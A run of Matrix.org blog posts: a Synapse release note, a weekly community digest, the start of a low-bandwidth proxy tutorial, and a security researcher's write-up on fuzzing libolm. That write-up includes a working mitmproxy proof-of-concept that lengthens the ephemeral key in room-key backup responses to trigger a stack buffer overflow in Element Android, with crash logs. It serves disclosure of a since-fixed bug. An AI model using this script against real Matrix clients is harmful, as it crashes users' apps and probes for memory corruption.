Synapse 1.36.0 released

2021-06-15 — Releases — Dan Callahan

Synapse 1.36.0 is out, and it's a big one!

Room Join Memory Improvements

We did it! Synapse no longer experiences a memory spike when joining large / complex rooms.

Memory usage graph for Synapse 1.33 and 1.36

These improvements mainly arise from processing join responses incrementally, rather than trying to load everything into memory at once. However, realizing these gains involved a fair bit of rewriting, as the entire processing pipeline had to work incrementally, and with appropriately sized batches, to avoid downstream bottlenecks. You can hear more about our original plans for this work in last month's Matrix Live: S6E23 — Dan and Erik talk about Synapse.

Presence Improvements

Running presence on a single worker process is now expected to work correctly. This feature first debuted in Synapse 1.33, but a few bugs cropped up which could lead to presence state becoming outdated. With #10149 merged, we believe the last of these issues to be resolved.

We had also noticed a recent increase in presence load on federation workers; this was ultimately tracked to two bugs, both fixed in this release: We were processing local presence via federation workers (#10163) and we were occasionally sending duplicate presence updates (#10165).

With both issues fixed, outgoing federation load has returned to normal levels:

Graph of outgoing federation transaction rate ranging from around 75 Hz down to under 25 Hz

(Thank you to David Mehren for this graph from issue #10153)

Everything Else

Synapse now has two new Admin APIs for unprotecting and removing media from quarantine, thanks to contributions by dklimpel.

Synapse now implements the stable /_matrix/client/r0/rooms/{roomId}/aliases endpoint originally introduced by MSC2432, and, thanks to contributions by govynnus, makes the reason and score fields of event reports optional per MSC2414.

These are just the highlights; please see the Release Notes for a complete list of changes in this release.

Synapse is a Free and Open Source Software project, and we'd like to extend our thanks to everyone who contributed to this release, including 14mRh4X0r, aaronraimist, bradtgmurray, crcastle, dklimpel, govynnus, and RhnSharma.

Adventures in fuzzing libolm

2021-06-14 — Security, Research — Denis Kasak

Introduction

Hi all! My name is Denis and I'm a security researcher. Six months ago, I started working for Element on doing dedicated security research on important Matrix projects. After some initial focus on Synapse, I decided to take a closer look at libolm. In this entry, I'd like to present an overview of that work, along with some early fruits that came out of it.

TL;DR: we found some bugs which had crept in since libolm's original audit in 2016, thanks to properly overhauling our fuzzing capability, and we'd like to tell you all about it! The bugs were not easily exploitable (if at all), and have already been fixed.

Update: CVE-2021-34813 has now been assigned to this.

To give a bit of a background, libolm is a cryptographic library implementing the Double Ratchet Algorithm pioneered by Signal and it is the cryptographic workhorse behind Matrix. The classic algorithm is called Olm in Matrix land, but libolm also implements Megolm which is a variant for efficient encrypted group chats between many participants.

Since libolm is currently used in all Matrix clients supporting end-to-end encryption, it makes for a particularly juicy target. The present state of libolm's monopoly on Matrix encryption is somewhat unfortunate -- luckily there are some exciting new developments on the horizon, such as the vodozemac implementation in Rust. But for now, we're stuck with libolm.

To start, I decided to do a bit of fuzzing. libolm already had a fuzzing setup using AFL, but it was written a while ago. The state of the art in fuzzing had advanced quite rapidly in the last few years, so the setup was missing many modern features and techniques. As an example, the fuzzing setup was configured to use the now ancient afl-gcc coverage mode, which can be slower than the more modern LLVM-based coverage by a factor of 2.

I also noticed that the fuzzing was done with non-hardened binaries (instead of using something like ASAN), so many memory errors could've gone unnoticed. There were also no corpora available from previous fuzzing runs and some of the newer code was not covered by the harnesses.

Preparation

I decided to tackle these one by one, adding ASAN and MSAN builds as a first step. I took the opportunity to switch to AFL++ since it is a drop-in replacement and contains numerous improvements, notably improved coverage modes which are either much faster (e.g. LLVM-PCGUARD) or guaranteed to have no collisions (LTO)1. AFL++ also optimizes mutation scheduling (by using scheduling algorithms from AFLFast) and mutation operator selection (through MOpt). All of this makes it much more efficient at discovering bugs.

After this, I changed the existing harnesses to use AFL's persistent mode (which lowers process creation overhead and thus increases fuzzing performance). This change, combined with the switch to a newer coverage mode, increased the fuzzing exec/s from ~2.5k to ~5.5k on my machine, so this is not an insignificant gain!

After this preparatory work, I generated a small initial corpus and ran a small fleet of fuzzers with varying parameters. Almost immediately, I started getting heaps of crashes. Luckily, after some investigation, these turned out not to be serious bugs in the library but a double-free in the fuzzing harness! The double-free only got triggered when the input was of size 0. It also only happened with AFL++ and not vanilla AFL, presumably due to differences in input trimming logic, which must be the reason no one noticed this earlier. I quickly came up with a patch and resumed.

The plot thickens

I let the fuzzers run for a while. Since ASAN introduces a bit of a performance overhead, I only run a single AFL instance with ASAN variant of the binary. This is okay because all fuzzer instances actually synchronize their findings, which means every instance gets to see every input which increases coverage. When I came back to check, there was another crash waiting. This time the crashing input wasn't being generated continually so it looked much more promising -- and only the ASAN instance was crashing. A-ha!

Running the offending input on the ASAN variant of the harness revealed it was an invalid read one byte past the end of a heap buffer. The read was happening in the base64 decoder:

❮ ./build/fuzzers/fuzz_group_decrypt_asan "" pickled-inbound-group-session.txt <input
=================================================================
==1838065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf4a00795 at pc 0x56560660 bp 0xffff9df8 sp 0xffff9de8
READ of size 1 at 0xf4a00795 thread T0
    #0 0x5656065f in olm::decode_base64(unsigned char const*, unsigned int, unsigned char*) src/base64.cpp:124
    #1 0x565607b5 in _olm_decode_base64 src/base64.cpp:165
    #2 0x565d5a9e in olm_group_decrypt_max_plaintext_length src/inbound_group_session.c:304
    #3 0x56558e75 in main fuzzers/fuzz_group_decrypt.cpp:46
    #4 0xf7509a0c in __libc_start_main (/usr/lib32/libc.so.6+0x1ea0c)
    #5 0x5655a0f4 in _start (/home/dkasak/code/olm/build/fuzzers/fuzz_group_decrypt_asan+0x50f4)

0xf4a00795 is located 0 bytes to the right of 5-byte region [0xf4a00790,0xf4a00795)
allocated by thread T0 here:
    #0 0xf7a985c5 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x56558ce3 in main fuzzers/fuzz_group_decrypt.cpp:32
    #2 0xf7509a0c in __libc_start_main (/usr/lib32/libc.so.6+0x1ea0c)

SUMMARY: AddressSanitizer: heap-buffer-overflow src/base64.cpp:124 in olm::decode_base64(unsigned char const*, unsigned int, unsigned char*)
Shadow bytes around the buggy address:
  0x3e9400a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e9400e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3e9400f0: fa fa[05]fa fa fa 05 fa fa fa fa fa fa fa fa fa
  0x3e940100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e940140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1838065==ABORTING

Following the stack trace, I quickly pinpointed the root of the bug: the logic of the decoder was subtly flawed, unconditionally accessing a remainder byte2 in the base64 input which might not actually be there. This occurs when the input is 1 (mod 4) in length, which can never happen in a valid base64 payload, but of course we cannot assume all inputs are necessarily valid payloads. Specifically, if the payload was not 0 (mod 4) in length, the code was assuming it was at least 2 (mod 4) or more in length and immediately read the second byte. This spurious byte was then incorporated into the output value.

I examined the code in an attempt to find a way to have it leak more than a single byte, but it was impossible. As it turned out, not even the full byte of useful information was encoded into the output -- due to the way the byte is encoded, only about 6 bits of useful information ended up in the output value.

Still, even a single leaked bit is too much in a cryptographic context. Could we do some heap hacking so that something of interest is placed there and then have it be leaked to us?

I next tracked down all call sites of the vulnerable function olm::decode_base64. Most of them were immune to the problem since they were preceded with calls to another function, olm::decode_base64_length, which checks that the base64 payload is of legal length. This left me with only a few potentially vulnerable call sites, so I examined where their base64 inputs come from. Promisingly, two of them received input from other conversation participants, but they either had no way of leaking the information back to the attacker or they hardcoded the number of bytes to be processed, after ensuring the input was of some minimum length. The output of the remaining function olm_pk_decrypt is never sent anywhere externally, so there was again no way of leaking the data to the attacker.

In conclusion, even though this invalid read is a valid bug, I was not able to find a working exploit for it.

But wait a second! Something was still bothering me about olm_pk_decrypt. It's a fairly complex function, receives several string inputs from the homeserver and it itself isn't tested by any of the harnesses. Furthermore, the reason I started looking at it in the first place is that it was missing the olm::decode_base64_length check. Perhaps it warrants a closer look?

It does

And sure enough, there was something amiss. As olm_pk_decrypt receives three base64 inputs from the homeserver: the ciphertext to decrypt, an ephemeral public key and a MAC. All three are eventually passed to olm::decode_base64 to be decoded. Yet there was only a single length check there, to ensure the decrypted ciphertext would fit its output buffer. What would happen if the server returned a public key that was longer than expected?

struct _olm_curve25519_public_key ephemeral;
olm::decode_base64(
    (const uint8_t*)ephemeral_key, ephemeral_key_length,
    (uint8_t *)ephemeral.public_key
);

As can be seen from the snippet, the decoded version of public key gets written to ephemeral.public_key, which is an array allocated on the stack. If the input is longer than expected, this will become a stack buffer overflow.

The purpose of olm_pk_decrypt is to decrypt secrets previously stored by a Matrix device on the homeserver. The point of encryption is to prevent the server from learning these secrets since they're supposed to be known only by your own devices. One use case for this mechanism is to allow one of your devices to store encrypted end-to-end encryption keys on the homeserver. Your other devices can then retrieve those keys from the homeserver, making it possible to view all of your private conversations on each of your devices.

I decided to go for an end-to-end test to confirm the bug is triggerable by connecting with the latest Element Android from my test phone to my homeserver, with mitmproxy sitting in between. This allowed me to write a small mitmproxy script which intercepts HTTP calls fetching the E2E encryption keys from the homeserver and modifies the response so that the key is longer than expected.

import json

from mitmproxy import ctx, http


def response(flow: http.HTTPFlow) -> None:
    if ("/_matrix/client/unstable/room_keys/keys" in flow.request.pretty_url
            and flow.request.method == "GET"):

        response_body = flow.response.content.decode("utf-8")
        response_json = json.loads(response_body)

        rooms = response_json["rooms"]
        room_id = list(rooms.keys())[0]

        sessions = rooms[room_id]["sessions"]
        session = list(sessions.keys())[0]
        session_data = sessions[session]["session_data"]

        ephemeral = session_data["ephemeral"]
        ctx.log.info(f"Replacing ephemeral key '{ephemeral}' with '{ephemeral * 10}'")
        session_data["ephemeral"] = ephemeral * 10

        modified_body = json.dumps(response_json).encode("utf-8")
        flow.response.content = modified_body

This longer value is then eventually passed by Element Android to libolm's olm_pk_decrypt, which triggers the buffer overflow. With all of that in place, I deleted the local encryption key backup on my device and asked for it to be restored from the server:

F libc    : stack corruption detected (-fstack-protector)
F libc    : Fatal signal 6 (SIGABRT), code -6 (SI_TKILL) in tid 24517 (DefaultDispatch), pid 24459 (im.vector.app)
F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
F DEBUG   : Build fingerprint: 'xiaomi/tissot/tissot_sprout:9/PKQ1.180917.001/V10.0.24.0.PDHMIXM:user/release-keys'
F DEBUG   : Revision: '0'
F DEBUG   : ABI: 'arm64'
F DEBUG   : pid: 24459, tid: 24517, name: DefaultDispatch  >>> im.vector.app <<<
F DEBUG   : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr --------
F DEBUG   : Abort message: 'stack corruption detected (-fstack-protector)'
F DEBUG   :     x0  0000000000000000  x1  0000000000005fc5  x2  0000000000000006  x3  0000000000000008
F DEBUG   :     x4  0000000000000000  x5  0000000000000000  x6  0000000000000000  x7  0000000000000030
F DEBUG   :     x8  0000000000000083  x9  7d545b4513138652  x10 0000000000000000  x11 fffffffc7ffffbdf
F DEBUG   :     x12 0000000000000001  x13 0000000060b0f2a9  x14 0022ed916fede200  x15 0000d925cd93f18f
F DEBUG   :     x16 00000079e741b2b0  x17 00000079e733c9d8  x18 0000000000000000  x19 0000000000005f8b
F DEBUG   :     x20 0000000000005fc5  x21 0000007940e3c400  x22 000000000000026b  x23 00000000000001d0
F DEBUG   :     x24 000000000000002f  x25 000000793d9653f0  x26 0000007948303368  x27 0000007945dd5588
F DEBUG   :     x28 00000000000001d0  x29 0000007945dd37d0
F DEBUG   :     sp  0000007945dd3790  lr  00000079e732e00c  pc  00000079e732e034

Impact

This vulnerability is a server-controlled stack buffer overflow in Matrix clients supporting room key backup.

Of course, the largest fear stemming from any remotely controlled stack buffer overflow is code execution. This is perhaps even doubly so in a cryptographic library, where we have the additional worry of an attacker being able to leak our dearly protected conversations.

The federated architecture of Matrix may be somewhat of a mitigating circumstance in this case, since users are much more likely to know and trust the homeserver owner, but we don't want to have to rely on this trust.

Native binaries

Luckily, on its own, this bug is not enough to successfully execute code on native binaries. By default, libolm is compiled for all supported targets with stack canaries (also called stack protectors or stack cookies), which are magic values unknown to the attacker, placed just before the current function's frame on the stack. This value is checked upon returning from the function -- if its value is changed, the process aborts itself to prevent further damage. This is evident from the Abort message: 'stack corruption detected (-fstack-protector)' message above. Besides canaries, other system-level protections exist to make exploiting bugs such as this harder, such as ASLR.

Therefore, to achieve remote code execution, an attacker would need to find additional vulnerabilities which would allow him to exfiltrate the stack canary and addresses of key memory locations from the system.

WASM

With WASM, the analysis is much more complicated due to its very different memory and execution model. In WASM, the unmanaged stack is generally much more vulnerable due to it missing support for stack canaries. This implies a stack buffer overflow can not only overwrite the frame of the function in which the overflow occurred but also all parent frames.

On the other hand, due to typed calls and much stronger control-flow integrity techniques, it's much harder for the attacker to make the code do something that is (maliciously) useful. Notably, return addresses live outside unmanaged memory and are out of reach to the attacker. Because of this, the primary way of influencing code execution is by manipulating call_indirect instructions in such a way as to call.

The analysis of the impact of this bug on the WASM binary is thus left as an exercise to the reader. If you're interested, the 2020 USENIX paper Everything Old is New Again: Binary Security of WebAssembly is a great starting point.

The fix

Once the problems were identified, the patches were rather trivial and the issues were promptly resolved. The first libolm release that includes the fix is 3.2.3 which was released on 2021-05-25.

We reached out to all Matrix clients which were determined to be affected. The Element client versions which first fix the issue are as follows:

  • Element Web/Desktop: v1.7.29
  • Element Android: v1.1.9
  • Element iOS: v1.4.0

For the mobile clients, these versions are already available in their respective application stores at the time of publishing this post. If you haven't already, please upgrade.

Future work

Even though the fuzzing setup is in a much better shape now (or rather will be, since I still have some PRs to merge upstream), there's still a lot that can be done to further improve it.

Right now, there are undoubtedly parts of the codebase that are not fuzzed well. The reasons for this range from the obvious, like some parts of the code simply not being called by any the existing harnesses, to more subtle ones such as the fact that cryptographic operations form a nearly-insurmountable natural barrier for naive fuzzing operations3. Finally, some of the existing harnesses accept additional parameters as command-line arguments, meaning we would have to re-run the same harness with different values of those parameters in order to reach full coverage of the code. This is suboptimal.

So the plan for future work is roughly as follows:

  1. Write missing harnesses to cover more portions of the codebase.
  2. Write starting corpus generators. These should generate believable, valid input for each of the harnesses. For example, for the decryption harness, we should generate a variety of encrypted messages: empty, short, long, text, binary, etc.
  3. Modify the harnesses so that their extra parameters are determined from the fuzzed input. This will allow the fuzzer to vary these itself, which reduces the importance of the human in the loop and makes it harder to forget some combination.
  4. Fuzz for some time until coverage stops increasing. The corpora generated should be saved so that future fuzzing attempts can resume from an earlier point so that this work is not wasted.
  5. Use afl-cov to investigate which parts of the code are not covered well or at all. This should inform us what further changes are needed.
  6. Write intelligent, custom mutators. These will allow the fuzzer to take a valid input and easily produce another valid input instead of only corrupting it with a high probability.
  7. Design harnesses which test for wanted semantic properties instead of only memory errors.

It's very exciting that we're able to do full-time security research on Matrix these days (thanks to Element's funding), and going forwards we'll publish any interesting discoveries for the visibility and education of the whole Matrix community. We'd also like to remind everyone that we run an official Security Disclosure Policy for Matrix.org and we'd welcome other researchers to come join our Hall of Fame! (And hopefully we will get more bounty programmes running in future.)


  1. In the context of fuzzing, collisions are situations where two different execution paths appear to the fuzzer as the same one due to technical limitations. Classically, AFL tracks coverage by tracking so-called "edges" (or "tuples"). Edges are really pairs of (A, B), where A and B represent basic blocks. Each edge is meant to represent a different execution "jump", but sometimes, as the number of basic blocks in a program grows, two different execution paths can end up being encoded as the same edge. LTO mode in AFL++ does some magic so that this is guaranteed not to happen.
  2. By remainder byte, I mean bytes which are not part of a group of 4. These can only occur at the end of a base64 payload and they're the ones that get suffixed with padding in padded base64.
  3. Classic fuzzers famously have a hard time circumventing magic values and checksums, and cryptography is full of these. This is further complicated by the fact that the double ratchet algorithm is very stateful and depends on the two ratchets evolving in lockstep. This means that even if, for example, the decryption harness is supplied with a corpus of valid encrypted messages, the mutations done by the fuzzer would only manage to produce corrupted versions of those messages which will fail to decrypt, but it will ~never manage to produce a different valid encrypted message.

This Week in Matrix 2021-06-11

2021-06-11 — This Week in Matrix — Ben Parsons

Matrix Live 🎙

Dept of Status of Matrix 🌡️

Room of the week

timokoesters said:

Hi everyone! Did you ever feel lost in the Matrix world? The room directory is big, but it's still hard to find something you like. Or are you a room moderator, but there is not much activity in your room because it doesn't have enough users?

This is why I want to share rooms (or spaces) I find interesting.


This week's room is: #art:matrix.org

"Share your artwork and drawings and chat about it. You don't have to be good!"


If you want to suggest a room for this section, send an email to

[email protected] or a Matrix message in #roomoftheweek:fachschaften.org

Yep, go ahead and email your suggested Matrix room-of-the-week to Timo!

Dept of Spec 📜

kegan said:

MSC3079: Low Bandwidth CS API now has an experimental implementation containing a proxy server and mobile bindings! In addition, there's a blog post explaining how to use this implementation to add low bandwidth support to your servers/clients! This implementation will use about 22% of the bandwidth that the normal CS API would use. Please be aware that low bandwidth Matrix is in its infancy and is subject to change without notice.

anoa said:

Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals.

MSC Status

Merged MSCs:

  • No MSCs were merged this week.

MSCs in Final Comment Period:

New MSCs:

Spec Updates

Mostly Spaces and E2EE work this week. New spec release is still in the works.

Graph will return in a future edition!

Dept of P2P 👥

Pinecone

Neil Alexander told us:

I have spent quite a bit of time lately working on Pinecone network convergence for P2P Matrix. There's still quite a bit to do in order to call Pinecone "complete", but a network of 50 nodes now bootstraps entirely from cold much more quickly and converges on full end-to-end reachability in roughly 6 seconds. This is a significant improvement to before! Keep an eye out for future P2P Matrix demo builds using these new protocol changes.

2021-06-11-Mz77O-convergence1-rtree.png

This chart also represents interest in Pinecone over time!

Dept of Servers 🏢

Conduit

Conduit is a Matrix homeserver written in Rust https://conduit.rs

timokoesters told us:

Hello! The last two weeks I mostly tried to make our database backend swappable so we don't need to rely on the sled database anymore. I was able to try out rocksdb, but there were bugs in the rust bindings which required inefficient and unsafe workarounds.

If you know about other key-value databases that work better with Rust, please comment on the issue:

https://gitlab.com/famedly/conduit/-/issues/74

  • Feature: Swappable database backend

  • Improvement: Don't apply push rules for users of other homeservers

  • Fix: is_direct now works for locally invited users

  • Fix: Deactivated accounts are now actually deactivated (-> performance improvements for appservice puppets)

synapse-media-proxy

f0x offered:

This week I implemented the remaining API route for URL previewing. Already has some nicer url preview results like showing images with Twitter posts and proper YouTube previews instead of the cookie wall text :)

With this, synapse-media-proxy should be a drop-in overlay for all Synapse's /_matrix/media routes. I don't really recommend using it in prod yet however, but I have a test instance that could use some responsible disclosure pentesting at https://media.pixie.town, please DM me @f0x:pixie.town if you find anything :)

https://git.pixie.town/f0x/synapse-media-proxy
synapse-media-proxy now has a room at #synapse-media-proxy:pixie.town

2021-06-11-8dmdK-image.png

Synapse

Synapse is a popular homeserver written in Python.

callahad reported:

🚪 Knock, knock... It's Friday!

After over a year of work and over a hundred commits, we're now one major step closer to supporting MSC 2403: Add "Knock" feature, which allows users to request admission to rooms which would otherwise be invite-only. Specifically, last Wednesday we merged (#6739) which is an experimental implementation of the MSC, under an unstable prefix. Knocking is not available in any current room versions — we need to implement room version 7 for that — but the remaining work is minimal¹ compared to what it took to get to this point. 🙂 Major kudos to Sorunome, Anoa, and Clokep for their work on both the spec and implementation.

Otherwise we're looking forward to releasing Synapse 1.36 early next week, and we have some great things in store... but I'll not spoil them today! 🤫

From everyone on the Synapse team, have a great weekend!

¹: Well, on the server-side at least. No clients support knocking, yet...

Homeserver Deployment 📥️

Kubernetes

Ananace reported:

This week too comes with an update on the Helm Charts I'm maintaining, with an update of element-web to 1.7.30

Docker-based development environment for Matrix

psrpinto wrote:

Hi folks. Some time ago I asked here about any projects that provided a local Matrix "node" through docker, and it seemed not much existed in that space, so I went ahead and created the following repo:

https://github.com/Automattic/matrix-env

Docker-based development environment for Matrix. Provides a local sandbox with the following pre-configured services:

  • synapse: the reference homeserver implementation
  • synapse-admin: homeserver admin UI
  • element: a web-based Matrix client

If this is something that would be useful to you, feel free to give it a try and send some feedback, either here or through GitHub issues. Thanks in advance! I hope this is helpful to some of you 🙇

Thanks uhoreg for passing this on! Looks like a really useful way to get a local env running

Dept of Bridges 🌉

Libera.chat IRC bridge work continues

Half-Shot reported:

Hi folks, just a quick update on the Libera.chat bridge situation. We're still rapidly working on the bridge, the milestone highlights for this week are:

  • Nearly 6k Matrix users are now connected to IRC and growing by the minute.

  • We're midway though our #matrix* Freenode to Libera channel/bridge migrations.

  • FOSDEM has been migrated over

  • We're still working through our backlog of migration requests from users, a lot of you phoned in!

We're still continuing to rapidly work on the bridge, with a release expected on Monday 🤞. For any of you who aren't in the know yet, you can start bridging to libera.chat by simply joining a channel like #libera-matrix:libera.chat or by searching the libera.chat room directory.

I'm hoping we'll be nearing the end of our jouney on this bridge, and it will settle into a natural stable state over the coming days! Anyway, thanks everyone for your patience and we hope to see you on Matrix or IRC!

IRC Bridge 0.27.0-rc1 leaps out of the gate

Half-Shot offered:

Hi bridge followers, today we've released 0.27.0-rc1 of the IRC bridge containing a huge number of changes following all the work we've been doing on libera.chat. Notable things to call out in this release are:

  • We've refactored the node-irc library to be typescripty and modern, rather than the quite old JS that it was.

  • SASL support for username/password auth has landed, which hopefully means a smoother login process for many. (We're aware of some issues around setting usernames, watch this space)

  • Allowing you to spin up the bridge with complete control over the alias namespace of a host (e.g. #libera:libera.chat links to #libera).

  • And finally, a privacy feature to block incoming IRC messages when Matrix users are not all joined which is requested by some IRC networks.

Please report bugs as you see them to https://github.com/matrix-org/matrix-appservice-irc, and let's all pray this will be a smooth release :)

matrix-puppeteer-line

Fair offered:

matrix-puppeteer-line: A bridge for LINE Messenger based on running LINE's Chrome extension in Puppeteer.

Read receipt improvements are here! They are in temporary branches until they've been tested for stability:

  • The better-receipts-dm branch contains some smarts to prevent Puppeteer from having to "view" a LINE DM chat in order to sync it, which would make the contact you're DMing think you've read their messages when it was really Puppeteer that "saw" them. However, this doesn't work for non-text messages (like images) or messages in group chats.

  • The better-receipts-msc2409 branch (which extends the above branch) uses MSC2409 to detect when you read a bridged message on Matrix, so it can tell Puppeteer to view it on LINE on your behalf. This will let your LINE contacts know when you've read their messages.

After this, only a few read receipt improvements are left to be made:

  • Make Puppeteer check all LINE chats (not just the most recently-used one) to see if messages you sent have been read (in LINE). This will work by cycling through all LINE chats where the final message is posted by you and doesn't have a "Read" marker on it yet.

  • Use MSC2409 to avoid having to view a LINE chat when syncing non-text messages (like images). The idea is to send a placeholder message that will get replaced with the real message (which requires Puppeteer to view the LINE chat) only when you actually view the placeholder.

Discussion: #matrix-puppeteer-line:miscworks.net

Issue page: https://src.miscworks.net/fair/matrix-puppeteer-line/issues

Dept of Clients 📱

Nheko

Nheko is a desktop client using Qt, Boost.Asio and C++17. It supports E2EE and intends to be full featured and nice to look at

Nico (@deepbluev7:neko.dev) reported:

I've been slowly refactoring the room and communities list to prepare it for spaces. This work is now mostly complete, changing ~4000 lines of code, of which 1500 just got deleted. All of the sidebars are now expandable and collapsible, so you can see the full name of your tags and communities and the lists should also update more dynamically now. Startup also only takes half as long as before on my system and Nheko uses 100MB less memory for my account. Next week I'll probably add spaces to the communites list as well as the room list.

Apart from that LorenDB has been rewriting the member list as well as the invite dialog in Qml and manu has been making progress on the room directory. All of that seems to be coming along nicely and behave much more reasonably than the old versions. There has also been a lot of progress on the Italian and Esperanto translations as well as a few smaller bug fixes and performance improvements.

I hope we will make it to space next week!

2021-06-11-Xd2Et-clipboard.png

2021-06-11-BuP8c-clipboard.png

Element Clients

Updates from the teams.

Delight, a team aiming to delight users

  • We’re making good progress on the ability to re-order Spaces on Web & Android, expected to land soon!
  • We’re also adding aliases to Space creation, to make it easier to share and onboard other users
  • On iOS, we recently merged a refactor with a new sidebar design which lays the foundations for iOS joining the Spaces beta
  • We’ve also been working on adding pagination to the Space Summary API on Synapse
  • Meanwhile, we’re also shepherding various MSCs through the spec process to improve private Spaces in the very near future

Web

  • 1.7.30 released on Monday
  • On develop
    • Upgraded to React 17
    • First GitHub Actions pipeline for web
  • In flight
    • Continuing to improve application performance
    • Adding dashboard for performance benchmarks
    • Working on Apple silicon desktop builds
    • Working on translation mismatch errors

iOS

  • 1.4.1 released on Tuesday on the App Store
  • The new side menu and voice messages are coming.
  • We are setting up Towncrier to avoid merge conflicts on our CHANGES files. Those conflict prevent Github Actions, our CI, from starting
  • We fixed several annoying bugs regarding VoIP and app stability

Android

  • Element Android 1.1.9 has been pushed to production
  • We are working with the design team on the dark and light themes, not forgetting the black theme, to ensure some coherence across the application and also to clean up some legacy code. There were too many shades of grey… We will also do the same work on TextAppearance.

NeoChat

Carl Schwan said:

This week was a busy week for NeoChat. We added tons of cool stuff! We rewrote the setting page to add a bit of organization in the settings. This also pushed us to add new appearance options. You can now add a blur effect as background, change the color scheme of NeoChat and switch between bubbles and a more compact layout as you wish.

2021-06-11-_cQEN-image.png

2021-06-11-ajhCF-image.png

Another thing we worked on was spellchecking. NeoChat will now add a small red underline under misspelled words and will suggest corrections. This is using the Sonnet frameworks and will integrates perfectly with your personal dictionary from your other KDE apps.

2021-06-11-9Tsyr-image.png

Finally something we added two weeks ago but forgot to mention, we added a quick room switcher using the Ctrl + K shortcut.

2021-06-11-7BfFl-image.png

Dept of SDKs and Frameworks 🧰

libQuotient

kitsune reported:

Another small release - libQuotient 0.6.7 is out, fixing an issue causing NeoChat to not add rooms to the roomlist after joining. Thanks to Carl Schwan for hunting the problem down!

Tobias Fella added:

Apparently my work-in-progress end-to-end-encryption implementation for libQuotient was bad enough to cause performance problems on my homeserver (Sorry about that!). This should be fixed now 🙂

Dept of Interesting Projects 🛰️

Server_stats

MTRNord announced:

Changes

  • Server now uses warp instead of actix-web

  • /relations request instead of 10s now takes 2s overall

  • Added a /servers api endpoint which returns all servers based on the room_ids. (It splits of the server_name from room_ids and puts them into an array)

Bug Fixes

  • Aliases with emoji will now get recognized.

Thanks to jo , Nico , joepie91 🏳️‍🌈 and poljar for helping to archive these improvements and hinting where improvements were possible to be made :)

Dept of Guides 🧭

A guide for creating simple Matrix bots with Python and Simple-Matrix-Bot-Lib

krazykirby99999 told us:

https://simple-matrix-bot-lib.readthedocs.io/en/latest/quickstart.html

Simple-Matrix-Bot-Lib allows anyone who needs a bot in a Matrix Room to do so without having to spend unnecessary time learning a complex framework!

https://i.imgur.com/xL4ZBO3.png https://i.imgur.com/UFsJMzS.png

Dept of Grants 💰️

Code Lutin grant program

numéro6 told us:

If you live in France (or eurozone) and your Matrix-related project need some funds, you may candidate to the 2021 #MécénatCodeLutin grant program for FLOSS by Code Lutin. Canditates may fill the dedicated form before july 8th.

Dept of Ping 🏓

Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by pingbot, a maubot that you can host on your own server.

#ping:maunium.net

Join #ping:maunium.net to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS
1kapsi.fi531
2maunium.net678.5
3trolla.us881
4siika.solutions915
5matrix.sp-codes.de991
6imninja.net1110
7aria-net.org1152.5
8fosil.eu1169
9shortestpath.dev1918.5
10kittenface.studio2221

#ping-no-synapse:maunium.net

Join #ping-no-synapse:maunium.net to experience the fun live, and to find out how to add YOUR server to the game.

RankHostnameMedian MS
1dendrite01.fiksel.info760
2weber.world1944.5

That's all I know 🏁

See you next week, and be sure to stop by #twim:matrix.org with your updates!

Low Bandwidth Matrix: An implementation guide

2021-06-10 — Tutorials — Kegan Dougal

Disclaimer: Low bandwidth Matrix is experimental, not yet standardised, and subject to change without notice.

This guide is for Matrix developers who want to support MSC3079: Low Bandwidth CS API in their clients/servers. Please read the experimental MSC if you want to learn more about what is happening at a protocol level. If you want a high level overview of low bandwidth Matrix and why you should care, watch the 12 minute demo on Matrix Live.

Matrix currently uses HTTP APIs with JSON data to communicate from the client to the server. This is widely supported but is not very bandwidth efficient. This means that the protocol is slower, more costly and less able to be used on low bandwidth links (e.g 2G networks) which are common in certain parts of the world. MSC3079 defines a low bandwidth protocol using CoAP and CBOR instead of HTTP and JSON respectively. In the future homeservers will natively support some form of low bandwidth protocol. However, at present, no homeserver natively supports MSC3079. Therefore, this guide will set up a low bandwidth proxy server which can be put in front of any Matrix homeserver (Synapse, Dendrite, Conduit, etc) to make it MSC3079-compatible. This guide will also configure an Android device to speak MSC3079.

Low bandwidth Matrix currently does not support web browsers due to their inability to send UDP traffic. You do not need to be running a homeserver to follow this tutorial.

Setting up a low bandwidth proxy for your homeserver

Prerequisites:

  • Go 1.13+
  • openssl to generate a self-signed DTLS certificate, or an existing certificate you want to use.
  • Linux or Mac user

Steps:

  • Clone the repo: git clone https://github.com/matrix-org/lb.git
  • Build the low bandwidth proxy: go build ./cmd/proxy
  • Generate a elliptic curve DTLS key/certificate: (we use curve keys as they are smaller than RSA keys, but both work.)
    openssl ecparam -name prime256v1 -genkey -noout -out private-key.pem
    openssl req -new -x509 -key private-key.pem -out cert.pem -days 365
    # you now have cert.pem and private-key.pem
  • Run it pointing at matrix.org:
    ./proxy -local 'https://matrix-client.matrix.org' \
